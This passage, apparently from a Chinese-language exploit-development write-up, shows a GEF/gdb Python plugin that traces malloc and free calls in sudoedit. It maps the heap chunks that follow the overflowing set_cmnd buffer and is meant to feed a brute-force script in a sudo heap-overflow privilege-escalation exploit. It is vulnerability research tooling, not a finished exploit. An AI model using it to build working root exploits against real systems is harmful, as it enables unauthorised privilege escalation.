super(MallocBreakpoint, self).__init__(location, gdb.BP_BREAKPOINT, internal=False)
self.silent = True
self.size = None
self.addr = None
return

# malloc() breakpoint triggered
def stop(self):
log = {}

# extract information about this malloc()
log["size"] = get_register("$rdi")
log["rip"] = get_register("$rip")
log["backtrace"] = gdb.execute('bt', to_string=True)
log['name'] = gdb.newest_frame().older().name()

# set a breakpoint at the malloc() return
if log['name'] and 'set_cmnd' in log['name']:
self.retbp = MallocReturnBreakpoint(log=log, overwrite=gdb.newest_frame().older())
return False
self.retbp = MallocReturnBreakpoint(log=log)

return False

# breakpoint for the return of a malloc()
class MallocReturnBreakpoint(gdb.FinishBreakpoint):
def __init__(self, log, overwrite=False, *args, **kwargs):
if not overwrite:
overwrite = gdb.newest_frame()
super(MallocReturnBreakpoint, self).__init__(overwrite, internal=False)
self.silent = False
self.log = log

def stop(self):
# extract some information
self.log['addr'] = get_register("$rax")
self.log['name'] = gdb.newest_frame().name()

# load the mallocs() we logged before
MALLOCS = load()
# add this malloc to the known allocations
MALLOCS[str(self.log['addr'])] = self.log
dump(MALLOCS)

# this is the location of our overflowing buffer
# now we can dump the heap analysis
if self.log['name'] and 'set_cmnd' in self.log['name']:
print("YYYYYYYYYYY WE ARE IN!!!")
addr = get_register("$rax")
mallocs = [int(a) for a in MALLOCS]
mallocs.sort()
SHOW = 5
out = ''
for mall in mallocs:
if mall > addr and SHOW>0:
h = MALLOCS[str(mall)]
for line in h['backtrace'].split('\n')[1:]:
if line:
l = line.split()
print(l)
if l[3] != '??':
out += (l[3]) + " "
out += "\n"
SHOW -= 1
out += "\n"
print(out)
with open('/tmp/heap' ,'w') as f:
f.write(out)

return True
return False


# set a breakpoint on free()
class FreeBreakpoint(gdb.Breakpoint):
def __init__(self, location, *args, **kwargs):
super(FreeBreakpoint, self).__init__(location, gdb.BP_BREAKPOINT, internal=False)
self.silent = True
self.size = None
self.malloc = []
self.addr = None
return

def stop(self):
log = {}
log["addr"] = get_register("$rdi")

# check if the memory freed was allocated before
MALLOCS = load()
if str(log["addr"]) in MALLOCS:
# remove this object from the list of allocated objects
del MALLOCS[str(log["addr"])]
dump(MALLOCS)
return False

# the gdb command that starts the heap trace
class SudoeditCommand(GenericCommand):
"""Tracks a function given in parameter for arguments and return code."""
_cmdline_ = "sudoedit"
_syntax_ = f"{_cmdline_}"

def do_invoke(self, args):
dump({})
self.bkps = []
# set the breakpoints
self.bkps.append(MallocBreakpoint(location="__libc_malloc"))
self.bkps.append(FreeBreakpoint(location="__libc_free"))
#self.bkps.append(MallocBreakpoint(location="malloc"))
#self.bkps.append(ReallocBreakpoint(location="__libc_calloc"))
#self.bkps.append(ReallocBreakpoint(location="__libc_realloc"))
#self.bkps.append(FreeBreakpoint(location="free"))

gdb.events.exited.connect(self.cleanup)
return

def cleanup(self, events):
print("CLEANUP!!!")
for bp in self.bkps:
bp.delete()
gdb.events.exited.disconnect(self.cleanup)
return


if __name__ == "__main__":
register_external_command(SudoeditCommand())

设置插件

1
gdb -ex 'gef config gef.extra_plugins_dir "/pwd/gef2"' -ex 'gef save' -ex quit

使用

1
gdb -ex 'set breakpoint pending on' -ex 'sudoedit' -ex 'r -s xxxxxxxxxxxxxxxxxx' -ex 'sudoedit' -ex 'continue' /usr/local/bin/sudoedit | tee heap.log

主要就是跟踪mallocfree在堆溢出之后的行为

image-20220415204128487

只有将这个改写到暴力脚本里面,找到符合条件的Chunk